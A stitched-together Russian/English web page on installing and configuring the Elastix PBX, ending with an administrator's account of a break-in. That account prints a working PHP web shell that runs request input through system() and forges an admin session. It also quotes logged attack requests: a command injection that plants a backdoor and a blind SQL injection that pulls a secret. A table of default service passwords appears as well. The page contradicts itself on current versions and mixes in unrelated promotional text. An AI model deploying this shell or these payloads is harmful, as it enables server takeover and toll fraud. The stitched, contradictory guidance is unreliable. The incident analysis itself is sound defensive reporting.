How to install elastix 5

Насколько Elastix популярна в России

По статистике sourceforge.net Россия занимает 4-е место по использованию платформы Elastix. В пересчете на число жителей, в России Elastix даже более популярна, чем в США.

По статистике поисковых запросов можно судить о популярности той или иной системы.
На текущий момент среди бесплатных систем SIP-телефонии выбор происходит между следующими системами:

  • Elastix
  • FreePBX
  • TrixBox
  • FreeSWITCH
  • FusionPBX

Статистика Google позволяет судить о популярности каждой из них.

Популярность выбранной системы важна по следующим причинам:

  • больше специалистов и компаний, обслуживающих систему
  • больше возможностей шансов длительной поддержки системы
  • больше вероятность, что предшественники уже сделали правильный выбор за Вас

Но популярность — лишь следствие удобства системы Elastix:

  • очень простая установка из ISO-образа
  • корректная работа как на физических, так и на виртуальных серверах:
    • ProxMox
    • VMware vSphere ESXi
    • Microsoft Hyper-V
    • Virtual Box
  • удобный и понятный WEB-интерфейс
  • встроенный FireWall
  • встроенная CRM-система
  • встроенный бесплатный Call-центр
  • встроенный WEB-сервер
  • встроенный чат-сервер
  • и многое другое, позволяя Унифицировать Коммуникации компании на одном сервере

Установка Elastix

Период детских болезней (багов, то бишь) для Elastix миновал. Последней
актуальной версией является 1.3, которую можно получить по ссылкам на странице
Downloads. Отдельно предложен образ для VMWare. Кроме того, в Tools находим
образ CentoOS2Elastix, позволяющий превратить CentOS в Elastix.

Программа установки Anaconda полностью совпадает с инсталлятором популярного
дистрибутива RedHat Linux, от которого, собственно, и произошел CentOS. Поэтому
все руководства для любого из этих дистрибутивов будут действительны. Для
примера можно почитать документацию, расположенную по адресу
www.rhd.ru/docs/manuals/enterprise. К сожалению, четкие указания насчет
аппаратных средств дать невозможно, слишком много здесь тонкостей и нюансов.
Поэтому за примерными конфигурациями компьютеров отсылаю на страницу сайта
voip.rus.net «Производительность
Asterisk-систем». В зависимости от планируемой нагрузки выбери наиболее
близкий вариант (хотя это не догма).

Разработчики упростили процесс установки Elastix за счет использования файлов
автоматизации KickStart. В ISO-образе таких файла три. В обычном варианте
установки администратору будет задано всего лишь несколько вопросов:
клавиатурная раскладка, часовой пояс, пароль суперпользователя root. Под систему
отводится жесткий диск целиком, и все необходимые разделы будут созданы
автоматически. Также без лишних запросов устанавливаются пакеты. Сетевые
интерфейсы настраиваются на получение IP-адреса от DHCP-сервера. Нажав клавиши
от <F1> до <F5>, можно получить справку по дополнительным параметрам. Сам
процесс установки происходит в псевдографическом режиме, перемещение между
элементами производится при помощи стрелок и клавиши табуляции. Выбор или отмена
выбора нужного пункта – <Пробел> или <Enter>.

Несколько больше свободы предоставляет вариант Advanced, активируемый вводом
в загрузочном меню параметра «advanced». Здесь уже возможна ручная разметка
диска и настройка сетевых интерфейсов.

После перезагрузки система полностью готова к настройкам сервисов через
веб-интерфейс. Регистрация в консоли может понадобиться только в том случае,
когда сетевой интерфейс не сконфигурирован при установке. Для его настройки
следует вызвать программу netconfig и в появившемся окне заполнить нужные
параметры. Удаленное управление с использованием консоли выполняется по
протоколу SSH (в комплект Elastix входит OpenSSH-сервер).

Знакомство с веб-интерфейсом

Теперь можно подключаться к веб-интерфейсу, для чего вводим в браузере
IP-адрес сервера. Для регистрации используем учетную запись «admin» и пароль «palosanto».
По умолчанию установлен английский язык интерфейса. Для смены на русский
переходим в меню System –> Preferences –> Language. Пока интерфейс переведен
лишь частично. Кроме того, в создаваемых графиках иногда появляется нечитаемый
текст.

В целях безопасности следует изменить пароль администратора. Это можно
сделать в Система –> Пользователи, затем выбрать в меню слева Users, отметить
учетную запись admin и нажать кнопку «Редактировать».

Веб-интерфейс состоит из семи основных вкладок. Их названия вполне отвечают
их назначению, поэтому разобраться легко. Внутри основных вкладок есть подменю,
где можно получить доступ к конкретным настройкам.

Во вкладке «Система» также можно активировать и настроить встроенный
DHCP-сервер, создать группы и наделить их правами. Группа, к которой принадлежит
пользователь, задается при создании учетной записи; впоследствии группу легко
сменить. Пользователь может быть членом только одной группы. В других подменю
находятся пункты, позволяющие – загрузить модуль, найти оборудование, завершить
работу системы, обновить пакеты, произвести резервирование и восстановление
системы. Файл с именем elastixbackup-дата*, содержащий резервную копию,
помещается в каталог /var/www/html/backup.

Установка пакетов CentOS

Ghostscript. Конвертация PDF в TIFF

Необходимо только, если пакет еще не установлен!

Проверяем местоположение запускаемого файла

which gs
/usr/local/bin/gs

Необходимые пакеты для сборки из исходников

sudo yum install gcc gcc-c++ make

Получаем исходные файлы

wget http://downloads.ghostscript.com/public/ghostscript-9.10.tar.gz
tar -zxf ghostscript-9.10.tar.gz 
cd ghostscript-9.10

Сборка пакета

./configure
make
make install
SpanDSP. Работа с факсами

Необходимо только, если пакет еще не установлен!

установка зависимостей

yum install libtiff-devel

устнановка SpanDSP

wget http://www.soft-switch.org/downloads/spandsp/spandsp-0.0.6pre18.tgz
tar zxf spandsp-0.0.6pre18.tgz
cd spandsp-0.0.6/
./configure
make && make install

Прописать в /etc/ld.so.conf путь к /usr/local/lib

ln -s /usr/local/lib/libspandsp.so.2 /usr/lib/libspandsp.so.2 
rm /etc/ld.so.cache && ldconfig
Asterisk

Пакеты для сборки Asterisk

sudo yum install gcc gcc-c++ make wget subversion libxml2-devel ncurses-devel openssl-devel libxml2-devel sqlite-devel libuuid-devel vim-enhanced 

Пакеты для работы ODBC

sudo yum install unixODBC unixODBC-devel libtool-ltdl libtool-ltdl-devel

Пакеты для сборки модулей MySQL (elastix)

yum install mysql-devel

Сборка Asterisk
Для дистрибутива Elastix 2.4 используется Asterisk версии 1.8.20.0 в нем было замечено неисправное приложение SendFax. Следует использовать версию не ниже 1.8.20.2.

wget http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-1.8.20.2.tar.gz
tar zxf asterisk-1.8.20.2.tar.gz
cd asterisk-1.8.20.2
./configure
make menuselect   

Требуется проверить, что будут выбраны для сборки следующие модули:

  • Add-ons — app_mysql
  • Add-ons — cdr_mysql
  • Add-ons — res_config_mysql
  • Call Detail Recording — cdr_adaptive_odbc
  • Call Detail Recording — cdr_manager
  • Call Detail Recording — cdr_odbc
  • Channel Event Logging — cel_odbc
  • Resource Modules — res_agi
  • Resource Modules — res_odbc
  • Resource Modules — res_fax
  • Resource Modules — res_fax_spandsp

Запустим сборку Asterisk:

make

Удалим старые модули

rm -rf /usr/lib/asterisk/modules/*

Установим новые модули

make install
asterisk -rx'core restart now'

Elastix как платформа VoIP коммуникаций

Платформа Elastix программно не ограничивает число абонентов, и на недорогом сервере (Intel Core i3 3.2GHz/4Gb) может обеспечить около 500 одновременных разговоров, что при офисной нагрузке означает 1000-5000 абонентов (http://habrahabr.ru/post/145620/). Увеличить число абонентов можно либо выбором более производительного сервера, либо разделением абонентов между несколькими серверами.

Elastix использует в своей основе телекоммуникационный сервер Asterisk. Asterisk — самый распространенный и функциональный бесплатный VoIP-сервер. Основное удобство выбора Elastix простоте установки и использования. Все компоненты платформы интегрированы, «из коробки» пользователь получает готовую платформу, поддерживающую унифицированные коммуникации (Unified Communications). В комплект Elastix 2.5 (при обновлении до текущей версии) входят:

  • IP-АТС Asterisk v11.13
  • web-интерфейс Elastix 2.5
  • встроенный доступ к магазину платных и бесплатных приложений для Elastix
  • web-интерфейс FreePBX 2.11.0-19
  • биллинговый модуль A2Billing
  • Факс-сервер HylaFax 4.3.11
  • Jabber чат-сервер OpenFire 3.7.1
  • CRM-системы vTiger CRM 5.2.1, Sugar CRM 5.2
  • Мультидоменный сервер электронной почты Postfix с web-интерфейсом RoundCube и антиспам-модулем SpamAssassin
  • web-сервер Apache 2.2.3
  • сервер баз данных mySQL 5.0

Elastix and VoIP

If you are looking for a phone system based on open standards, but characterized by ease of use and, moreover, running on all major operating systems (Windows, Linux, MacOS), then Elastix is the perfect Asterisk alternative. It is powered by 3CX and by using the open standard SIP keeps users in control of their IP-enabled devices such as phones, gateways and trunks and not be forced into same vendor devices, same provider or proprietary models.

You can obtain an easy-to-use intuitive phone system that fits perfectly into your existing IT structure due to the fact that it can be deployed On-Premise or Cloud, Linux or Windows, virtualized or as a PBX Appliance. Elastix also has numerous features such as integration with existing CRM systems, WebRTC based conferencing, desktop clients, smartphone apps and unified communications. The combination of all these features in a user friendly environment will free up a lot of resources in your company.

  • No specific Asterisk / telecommunications training required
  • Installation both on Windows or Linux
  • Deployed anywhere: in the cloud or on-premise (MiniPC or Virtualized)
  • 100% software-based – easy to set up and manage
  • Hotel features and PMS integration
  • SIP standard: Use any IP Phones, Gateways and Trunks SIP based
  • Smartphone apps included for free: Android and iOS
  • CRM integration
  • Free and commercial licences
  • Desktop clients: web, Windows and Mac
  • Unified Communications ready: chat, presence, voicemail and fax to email, web conferincing
  • Superior Call Center features and Call Flow Designer
  • Zero Admin

Доступ к FreePBX

Войдите в web интерфейс Elastix.
Перейдите в раздел «Security»

Разрешите доступ к интерфейсу FreePBX:

После этого FreePBX интерфейс будет доступен по адресу

http:///admin

<IP_ADRESS> — IP адрес АТС

Загрузка дополнительных модулей

  1. Модуль pt1c предназначен для настройка интерфейса на стороне АТС для связи с 1С.
  2. Модуль pt1c_fax — дработанный модуль . Добавлен механизм заполнения информации об имени файла факса, в таблице истории звонков.
  3. Модуль pt1c_core — доработанный модуль . Добавлен механизм оповещения по AMI о входящем вызове. Механизм необходим для перехвата звонка на ответственного менеджера.

Панель телефонии 1.4.26.26+ и 1.2.24.18+

Установка дополнительных модулей

На примере модуля Asterisk AJAM Settings (PT1C).

Перед началом интеграции настоятельно рекомендуем делать РЕЗЕРВНУЮ КОПИЮ вашей конфигурации!!!

Войдите в веб-интерфейс FreePBX под учетной записью администратора.

Переходим на вкладку Module Admin (Администрирование модулей)

  • Для загрузки модуля на сервер используйте действие Upload module (Закачать модули).
  • Укажите расположение модуля.
  • Используйте действие Upload (Загрузить).

Теперь в управлении модулями устанавливаем модуль Asterisk AJAM Settings (PT1C).

  • Для этого в списке действий выбираем Install (Установить).
  • Выполните действие Progress (Запустить процесс).

  • Подтверждаем установку,и через пару секунд плагин будет установлен.
  • Теперь необходимо нажать оранжевую кнопку  Apply Configuration Changes (Применить изменения в конфигурации).

Необходимо внимательно отнестись к этому вопросу. Не следует разрешать AJAM на интерфейсе с реальным IP.

Учетная запись менеджера Asterisk (Elastix)

Теперь добавим менеджера, под которым будет работать панель телефонии.
Необходимо перейти в интерфейс модуля Manager API

Указать имя / пароль менеджера, указать разрешенные / запрещенные сети:

Обратите внимание на поля Запрещены и Разрешены. Запретить следует все адреса, а разрешить только адрес сервера, на котором будет работать панель телефонии

В примере параметр Разрешены установлен в значение 0.0.0.0/0.0.0.0 (разрешено подключаться под всеми сетевыми адресами)

Установить значения привилегий:

Не устанавливайте полные права для учетной записи! Больше — не всегда лучше!

Настройка SIP-аккаунта

Все связанное с настройками Asterisk размещено во вкладке PBX. При
необходимости, выбрав «Unembedded freePBX», можно вместо инструментов,
предлагаемых Elastix, перейти на интерфейс FreePBX. Доступ к CLI Asterisk
находится в подменю «Командная строка Asterisk». Для более тонкой настройки
возможна и ручная правка конфигурационных файлов Asterisk.

Для примера рассмотрим создание нового SIP-аккаунта. В «General Setting»
указываются общие настройки. Например, в «Asterisk Dial command options» по
умолчанию установлено «tr», что означает разрешение передачи вызова вызываемой
стороной по нажатию «#» и обычные гудки. Записав вместо «r» букву «m», можно
заменить гудки приятной музыкой (MusicOnHold). Она будет сопровождать абонента,
пока ему не ответят. В этом же меню настраивается формат времени, страна и
почтовые адреса для отправки факсов.

Проследи, чтобы флажок напротив «Allow Anonymous Inbound SIP Calls?» был
установлен в «No», иначе любой пользователь сможет подключиться к серверу и
нагло осуществлять звонки.

Теперь переходим в подменю «Конфигурирование УАТС» и в раскрывающемся списке
«Device» выбираем тип устройства. Для софтфона это будет «Generic SIP Device»,
хотя некоторые реализации поддерживают и протокол IAX2. После нажатия на кнопку
«Submit» появится окно, в котором указываем параметры нового клиента

Все поля
заполнять не требуется, всегда можно вернуться и подкорректировать настройки.
Обрати внимание на подсказки, появляющиеся при наведении курсора на некоторые
параметры. В поле «User Extension» вводим номер абонента, в «Display Name» –
имя, выводимое при звонке

В поле «secret» указывается пароль для доступа к
номеру, а для софтовых телефонов здесь можно использовать и буквенно-цифровую
комбинацию. После заполнения нужных полей нажимаем «Submit». Новая учетная
запись должна появиться в поле справа. Если новые настройки требуют перезапуска
Asterisk, в верхней части окна появляется надпись «Apply Configuration Changes
Here» на красном фоне. Нажимаем на нее и пробуем подключиться клиентом.

Elastix предоставляет еще одну удобную функцию — сканирование выбранного
диапазона IP-адресов для поиска клиентов. Администратор в ответ на запрос в
подменю «Endpoint Configuration» получает список абонентов с указанием их IP- и
МАС-адресов, номеров, типов телефонов и статуса.

Возможность проведения конференции по умолчанию отключена. Для ее активации и
настройки перейди в подменю Conference.

Темы блога

Microsoft Windows
(59)

Microsoft
(58)

Asterisk
(52)

Linux
(51)

Operating system
(47)

Operating Systems
(36)

Windows XP
(34)

Protocols
(28)

Windows
(28)

Business
(19)

(18)

Programming
(18)

FAQs Help and Tutorials
(17)

Windows 7
(17)

Windows Vista
(15)

Администратору на заметку
(14)

Windows Server 2008
(13)

Domain Name System
(12)

IP address
(11)

Open source
(11)

Clients
(10)

Security
(10)

DNS
(9)

Internet Protocol
(9)

Server
(9)

Windows 2000
(9)

Active Directory
(8)

Hardware
(8)

IPhone
(8)

Shareware
(8)

Skype
(8)

Windows Server
(8)

Windows Server 2003
(8)

DNS Providers
(7)

Virtual private network
(7)

Apple
(6)

Domain name
(6)

Dynamic DNS
(6)

Internet Explorer
(6)

Internet Protocol Suite
(6)

Hard disk drive
(5)

RAID
(5)

Web Tools
(5)

Windows NT
(5)

Windows Server 2008 R2
(5)

Cisco Systems
(4)

Computers and Internet
(4)

Dynamic Host Configuration Protocol
(4)

Firewall
(4)

Personal computer
(4)

Search Engines
(4)

Storage
(4)

Symantec
(4)

Yahoo
(4)

DVD
(3)

Local area network
(3)

NTFS
(3)

Opera
(3)

Remote Desktop
(3)

Remote Desktop Protocol
(3)

Router
(3)

Terminal Services
(3)

Wi-Fi
(3)

Window 7
(3)

YouTube
(3)

Сервер терминалов
(3)

Синий экран смерти
(3)

восстановление данных
(3)

BIOS
(2)

Blue Screen of Death
(2)

CD-ROM
(2)

Cisco
(2)

Data recovery
(2)

Disk Management
(2)

General Packet Radio Service
(2)

Internet
(2)

Mac OS
(2)

NTLDR
(2)

RSS
(2)

Remote Access
(2)

Service pack
(2)

Sony Ericsson
(2)

Terminal server
(2)

Transmission Protocols
(2)

Unix
(2)

Window XP
(2)

Windows Mobile
(2)

ntdetect.com
(2)

Почта
(2)

Серверное оборудование
(2)

Cisco IOS
(1)

Conficker
(1)

DirectX
(1)

IPSec
(1)

Java
(1)

Motherboard
(1)

Net-Worm
(1)

Printer
(1)

Telnet
(1)

VentaFax
(1)

Windows 98/ME/NT
(1)

Windows 9x
(1)

Windows Me
(1)

Windows Mobile 6
(1)

Windows XP Professional
(1)

Windows XP editions
(1)

Winsock
(1)

Wireless
(1)

dlink
(1)

ВОССТАНОВЛЕНИЕ ФАЙЛОВ
(1)

Горячие клавиши
(1)

Защита от вирусов
(1)

Интернет
(1)

ОГО
(1)

Сборками Windows
(1)

Серверные шкафы
(1)

Сетевые черви
(1)

Тонкий клиент
(1)

прокси proxy
(1)

Немного о безопасности

То, что на мой взгляд обязательно надо сделать на сервере с установленной телефонией:

первое и самое лучшее решение — не пользоваться web интерфейсом и заниматься настройкой телефонии напрямую в конфигурационных файлах asterisk и сервера.

Да, такой вариант намного более сложный для новичков, но убрав GUI мы убираем и сразу множество возможных лазеек в безопасности. Еще одним бонусом данного решения является возможность использовать самую последнюю версию asterisk и сервера, так как многие готовые сборки поставляются с довольно старым ПО.

Как вариант, запускать веб сервер только когда вы работаете сами и выключать после проведенных манипуляций.

включение на сервере Auth basic аутентификации

Использование простейшей аутентификации позволит сильно повысить безопасность web интерфейсов так как перед любым обращением к серверу злоумышленнику необходимо будет преодолеть дополнительную ступень защиты. Однако, данный метод защиты хорошо обходится брутфорсом, поэтому обязательно следует выбирать сложный многосимвольный пароль состоящий как из букв так и цифр.

Именно благодаря установки пароля на свой сервер мне удалось перекрыть доступ злоумышленнику. Но узнал я об это только неделю спустя.

Установить пароль очень просто, для начала нам надо создать файл с набором логинов и паролей. Для этого служит команда:

htpasswd -nbm myName myPassword >> /etc/httpd.passwd

Далее необходимо включить auth basic аутентификацию для нашего веб интерфейса, а в качестве файла паролей подключить наш созданный файл.

<Directory "/var/www/html">
 # Redirect administration interface to https
 RewriteEngine On
 RewriteCond %{HTTPS} off
 RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

 AuthType Basic
 AuthName "Access denied"
 AuthUserFile /etc/httpd.passwd
 require valid-user
</Directory>

Из данного примера видно, что наш web сервер Elastix настроен на папку /var/www/html

После этих манипуляций перезагружаем web сервер и при попытке входа видим дополнительное окно для логина.

настройка модуля fail2ban на сервере

Данный модуль достаточно популярен и позволяет блокировать через фаервол соединения на основе данных из логов. В нашем случае при нескольких неправильных попытках подключения к серверу asterisk или sshd. Этот пункт указан не первым, но сделать это следует в первую очередь, причем правила лучше выбрать более строгие. Например, блокировку на сутки при 4-5 попытках входа.

Отслеживать активность подключений можно анализируя лог asterisk:

tail -f /var/log/asterisk/full

Опция f позволяет вести онлайн мониторинг

Еще одним вариантом защиты является перенос web интерфейса с домена по умолчанию на неизвестный другим пользователям

Например, если ваш сервер имеет хост sip.asterisk.hack, то по этому адресу есть смысл отдавать заглушку или вообще ничего, а web интерфейс перенести на адрес secure.asterisk.hack. Продвинутый злоумышленник все равно найдет и этот адрес, но дополнительные трудности ему это создаст. Так же мы можем таким образом обрезать некоторые боты.

отключение не используемых модулей

В моем случае взлом по видимому был произведен через модуль recordings. Далее злоумышленник много игрался с модулем a2billing, однако, я им не пользовался и удалив его мог бы повысить безопасность системы.

разрешить подключение к серверу только с доверительных ip 

Если мы точно знаем ip адреса (или хотябы подсети) которые будут пользоваться нашим сервером, то их точно стоит включить в белый список нашего фаервола, а остальных банить на подходе.

Совместимость с телекоммуникационным оборудованием

Настройка цифровых E1 PRI, BRI и аналоговых плат FXO, FXS также производится через Web-интерфейс. Еlastix протестировали со многими производителями VoIP оборудования. В его состав встроены драйвера для работы PCI-плат следующих производителей Digium, Sangoma Technologies, OpenVox, Rhino Equipment, Xorcom, и Yeastar. Большинство из этих драйверов работают с помощью модуля Zaptel. Другие драйверы поддерживаются с помощью mIDSN и аналогичных проектов.

Также Elastix поддерживает большое количество телефонов работающих по протоколам SIP и IAX входящие в состав Asterisk. Эти протоколы базируются на открытых стандартах RFC. И поэтому любой производитель имеет возможность выпускать телекоммуникационное оборудование без затруднений. Вот некоторые производители Yealink, Grandstream, Polycom, Atcom, Aastra, Linksys, Snom, Cisco, D-Link, Fanvil, AudioCodes, AddPac.

IP-АТС на основе Asterisk или 3CX

  • Запись телефонных разговоров
  • Конференц-комнаты с использованием виртуальных номеров
  • Голосовая почта и пересылка на e-mail
  • Поддержка протоколов SIP, IAX2, H.323, MGCP, Skinny
  • Инструменты разработчика для создания расширений, предоставляющие новые услуги
  • Поддержка кодеков: ADPCM, G.711 (A-Law и μ-Law), G.722, G.723.1, G.726, G.728, G.729, GSM, ILBC, Speex.
  • Виртуальный секретарь — IVR
  • Поддержка аналоговых интерфейсов FXS / FXO
  • Голосовой синтез речи
  • Поддержка цифровых интерфейсов (E1/T1/J1) и протоколов PRI/BRI/R2/SS7
  • Автоконфигурация IP-телефонов
  • АОН определитель номера
  • Программное эхоподавление
  • Работа с несколькими операторами связи
  • Маршрутизация входящих и исходящих вызовов по различным правилам
  • Поддержка Видеотелефонов
  • Интерфейс обнаружения телефонного оборудования
  • Поддержка групповой переадресации вызовов
  • DHCP сервер для распределения динамических IP адресов
  • Панель оператора. Оператор может видеть всю телефонную деятельность в виде графиков и выполнять простые операции по управлению телефонными звонками
  • Поддержка протокола пейджинга (intercom) и домофонов
  • Веб-панель управления
  • Поддержка временных условий
  • Парковка и перехват звонка
  • Запрет вызова по PIN коду
  • Call Detail Record (CDR) отчеты
  • Прямой доступ в систему (DISA)
  • Биллинг, отчеты, статистика, анализ по использованию
  • Поддержка обратного звонка
  • Поддержка динамических очередей

Introduction

If you are not so familiar with Linux or Debian, then you can choose to install from ISO. In this case, Elasti 5 will install Debian 8 Jessie for you with the correct options, and subsequently install Elastix 5 as well. You can see a list of things that our modified version of Debian does not ask for below.

Installing Debian for Elastix 5

To install Debian for Elastix 5:

  1. Download the Debian for Elastix 5 ISO from here:
  1. Burn the ISO to bootable media such as a CD or a USB stick.
  2. Boot your system with the ISO. Select Install from the main boot screen.
  1. If you need to configure a static IP address, press Esc when asked for the hostname. You will be taken back to configuring the hostname when you have set the IP address of the system. If you don’t want to set a static IP address, proceed to step 6.
  1. Select Configure Network Manually to set a static IP address on the system.
  1. Now enter a hostname for the computer so you can easily identify it on your network.
  1. Enter a domain name. If this is a network, use the same domain as you use on other computers in the network, for example, company.local.
  1. Now select the language you wish to install.
  1. Select your geographical location from the location menu.
  1. Specify the root password for the machine. This account is the equivalent of the administrator account in Windows.
  2. Confirm the password you have chosen.
  1. Select your timezone.
  1. Partition your disk. Select “Guided – use entire disk”.
  1. Confirm your disk. If you are installing to a bare metal machine remember that all the data on your disk will be erased!
  1. Select All files in one partition”.
  1. Select Finish partitioning” and write changes to disk. Debian for Elastix 5 will be installed. This can take about 10-20 minutes depending on your machine speed. After that, the machine will be rebooted.
  2. At the restart, Elastix 5 will be installed automatically – you don’t need to log in. After the installation is complete you will be asked if you want to run the PBX configurator tool from a web browser or from the command line. Select option 1 to use a web browser, and point your browser to http://<ip of machine>:5015.
  1. Now you go through the wizard. It will detect your IP, ask whether you are behind a NAT and confirm these options with you. You get to choose a subdomain and admin credentials for your PBX. Afterwards, you will be presented with a summary page to login to your PBX. Save it and don’t lose it!! Visit this guide for step by step instructions.

Настройка ODBC

Если библиотеки нет, ее следует установить

yum install mysql-connector-odbc

библиотека коннектора должна распаковаться в файл

ls -l /usr/lib/libmyodbc3_r.so

Необходимо в файлe /etc/odbcinst.ini настроить драйвер:

# настройка драйвера

Description          = ODBC for MySQL
Driver               = /usr/lib/libmyodbc3_r.so
Setup               = /usr/lib/libodbcmyS.so
FileUsage          = 1
UsageCount          = 5

Необходимо в файлe /etc/odbc.ini добавить секцию

# настройка соединения

Driver          = MySQL
Description     = MySQL connection to 'asteriskcdrdb' database
Server          = localhost
Port          	= 3306
Database     	= asteriskcdrdb
Option          = 3

После настройки ODBC перезагрузите АТС

История проекта

Elastix создан и поддерживается PaloSanto Solutions из Эквадора. Проект был обнародован впервые в марте . Это был не полный дистрибутив, а веб-интерфейс для CDR-отчётности

И он был таковым до конца декабря 2006 года, когда Elastix был выпущен в качестве Linux-дистрибутива, включавшего Asterisk и Zaptel, а также ряд других пакетов, которые легко управляются через простой веб-интерфейс, что привлекло внимание сообщества. По статистике sourceforge.net дистрибутив скачан более миллиона раз

В новых версиях дистрибутива был добавлен модуль Колл-центра, который позволяет обмениваться данными с агентом через собственный протокол ECCP (Elastix Call Center Protocol). Протокол также реализован на открытом исходном коде, и позволяет обеспечивать связь с дополнительным программным обеспечением, написанным другими разработчиками под Elastix.

Одним из важных событий в жизни Elasitx стал запуск сервиса дополнений addons.elastix.org — сертифицированные дополнения для Elastix от сторонних разработчиков. Это решение позволяет без труда устанавливать различные дополнения через WEB-интерфейс администратора. Каждый модуль проверяется на совместимость и стабильную работу командой PaloSanto Solutions.

Elastix распространяется в виде готовых ISO дистрибутивов для архитектуры X86 и X64. Базировался на операционной системе CentOS, которая имеет бинарную совместимость с Red Hat Enterprise Linux и доступен для скачивания с серверов sourceforge.net

Популярность дистрибутива Elastix растёт с момента его первого выпуска, и до сих пор. Проект был номинирован два года подряд (в 2007 и 2008), как финалист SourceForge Community Choice Awards, и в 2012 как проект месяца SF.net

Подключение внешних каналов

Теперь, когда пользователи могут общаться между собой внутри дома/универа/офиса,
перейдем к настройке внешних соединений. Поддерживаемые интерфейсные карты
обнаруживаются автоматически. Для проверки следует перейти в Система –>
Обнаружение оборудования. Если в списке нет нужного устройства, нажми кнопку
«Сканировать оборудование». С
картами-клонами X100P, как правило, проблем не возникает.

Настройка внешних каналов производится в подменю «Trunk». Под термин «канал»
в Asterisk попадает как VoIP-провайдер, так и канал, предоставляемый
интерфейсной картой. Это и предстоит выбрать на первом шаге мастера. Далее
заполняем параметры. В «Outbound Caller ID» записываем Caller ID, который будет
отправлен удаленному абоненту при исходящем вызове по этому каналу. Поле имени
для Caller ID указывается в двойных кавычках, а поле номера — внутри символов <>
(«Sergej» <12345>).

Указав число в поле «Maximum channels», можно ограничить количество
одновременных звонков, совершаемых по этому каналу. В поле «Dial Rules»
заносится план набора для исходящих номеров. В Elastix при создании шаблонов
плана набора помогает мастер, позволяющий быстро добавить нужную запись. Чуть
ниже, в «Trunk Name», указываем уникальное имя канала, – оно будет использовано
в правилах Asterisk. В «Outgoing Settings» прописываются параметры
VoIP-провайдера. В общем случае необходимо подправить заготовку, изменив поля со
звездочками нужными значениями:

Последний параметр означает, что канал будет использован для исходящих
звонков. Входящие звонки настраиваются в поле Incoming Settings. Дополнительно
можно указать предпочтения для кодеков и прочие параметры. Все они подробно
описаны в документации Asterisk. Большинство провайдеров требуют регистрации на
сервисе. Необходимую строку указываем в «Register String». Формат ее таков:
«username:password@voipprovider.com/ID».

По окончании настроек нажимаем «Submit Changes» и перезапускаем Asterisk.

В итоге мы получили аналог ATC, при помощи которой можно совершать звонки как
внутри дома/универа/офиса, так и на внешние номера. Но это еще далеко не все
возможности, предоставляемые Asterisk/Elastix. Также доступны парковка вызова,
использование агентов, конференции, биллинг, факс и многое другое. Слава
техническому прогрессу!

Список логинов и паролей по умолчанию к сервисам Elastix

Интерфейс Логин Пароль
Elastix admin palosanto
freePBX admin admin
Flash Operator Panel admin eLaStIx.2oo7
Calling Cards admin mypassword
SugarCRM admin password
vTiger admin admin
OpenFire admin Указывается во время настройки сервиса
RoundCubeMail В виде user.domain.com Указывается при создании новой записи
MySQL root eLaStIx.2oo7

История взлома

Версии основного установленного ПО:

 elastix-2.5.0-1
 freePBX-2.11.0-26
 asterisk-11.25.0-0

На самом деле ситуация достаточно банальна. Так как настраиваемая система телефонии еще не запущена в постоянную работу, то я постоянно захожу на сервер как через веб интерфейс так и через ssh. В один прекрасный день при входе, через консоль мне высветилось стандартное сообщение, что пользователь root получил новое почтовое сообщение. Зайдя в папку /var/mail увидел, что там так же есть и файлик с письмами пользователя asterisk и так как он был довольно большой, я решил посмотреть именно его. Самое последнее письмо содержало замечательную строчку

127.0.0.1/_asterisk/sos.php

Файл представлял из себя backdoor, через который взломщик и проводил свои манипуляции на сервере. Первая запись в логе с подозрительными данными появилась еще 12 декабря, сразу после установки сервера:

209.126.119.40 - - [12/Dec/2016:17:48:38 +0400] 
"POST /recordings//emoemo.php HTTP/1.1" 200 296

В процессе настройки сервера, невольно, мне удалось заблокировать взломщика, но еще раньше, оперативно сработала защита сети sipnet.ru и предотвратило возможную потерю денег. За что им отдельное спасибо. 24 декабря утром на почту пришло письмо от sipnet со списком заблокированных попыток звонков по различным направлениям.

Этим же днем я включил на сервере auth basic авторизацию (расскажу про нее далее). В последствии по логам было видно, что взломщик еще пытается войти, но уже не может.

Рядом с файлом sos.php лежал файл a7a.php следующего содержания:

<form action="" method="post" >
<input size=20 type=password name="p" />
<input size=60 type=text name="c" />
<input type=submit value="Hacked" /></form>
Hacked >
<?php
if(md5($_REQUEST)=='fe732de226af5491a6266f9d5eaa62fc')
{
@system($_REQUEST);
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable
("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
session_name("elastixSession");
session_start();
$_SESSION = $db;
$_SESSION = $db;
echo '<a href="/" >Emad__Was__Here</a>';
}
?>

По файлу видно, что это простейший скрипт для логина в Elastix без пароля. Аналогичного содержания файлы были найдены по адресам:

/tmp/emo.txt
/var/www/html/admin/320433521emad.php
/var/www/html/a2billing/admin/Public/352132043emo.php

Пока загадкой остается способ как Emad (видимо так зовут взломщика) записал свои файлы на сервер. Анализируя логи самой подозрительной записью оказалась вот эта:

82.205.4.104 - - [16/Dec/2016:23:24:54 +0400] "GET 
/a2billing/admin/Public//tmp/sql.gz%20&
mv%20/tmp/z.txt%20/var/www/html/_asterisk/sos.php%20&%20a.gz 
HTTP/1.1" 404 372

Так как все его залитые файлы имеют права доступа asterisk, то очевидно, что взлом был осуществлен через веб интерфейс. Так же скорее всего первым на сервер попал именно файл

/recordings//emoemo.php

Так что дыра где-то в модуле recordings. Так же довольно много обращений было к модулю a2billing следующего содержания:

209.126.119.40 - - [12/Dec/2016:17:55:24 +0400] "GET 
//a2billing/customer/A2B_recurring_payment.php?
id=1%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285-%28
IF%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28manager_secret%20AS
%20CHAR%29%2C0x20%29%20FROM%20cc_server_manager%20LIMIT%200%2C1
%29%2C4%2C1%29%29%3E112%2C0%2C5%29%29%29%29%29Fwlh%29&key=222
&payment_status=Completed&txn_type=subscr_payment
&pos=fadgs&aad=dwqrq HTTP/1.1" 200 -

Более конкретных сведений по логам найти не удалось.

Привожу список ip с которыми засветился взломщик на сервере

82.205.4.104
82.205.11.51
185.6.17.224
209.126.119.40
156.176.139.5
176.67.122.234
94.177.183.126
144.217.34.239
192.99.19.86

Оцените статью
Рейтинг автора
5
Материал подготовил
Андрей Измаилов
Наш эксперт
Написано статей
116
Добавить комментарий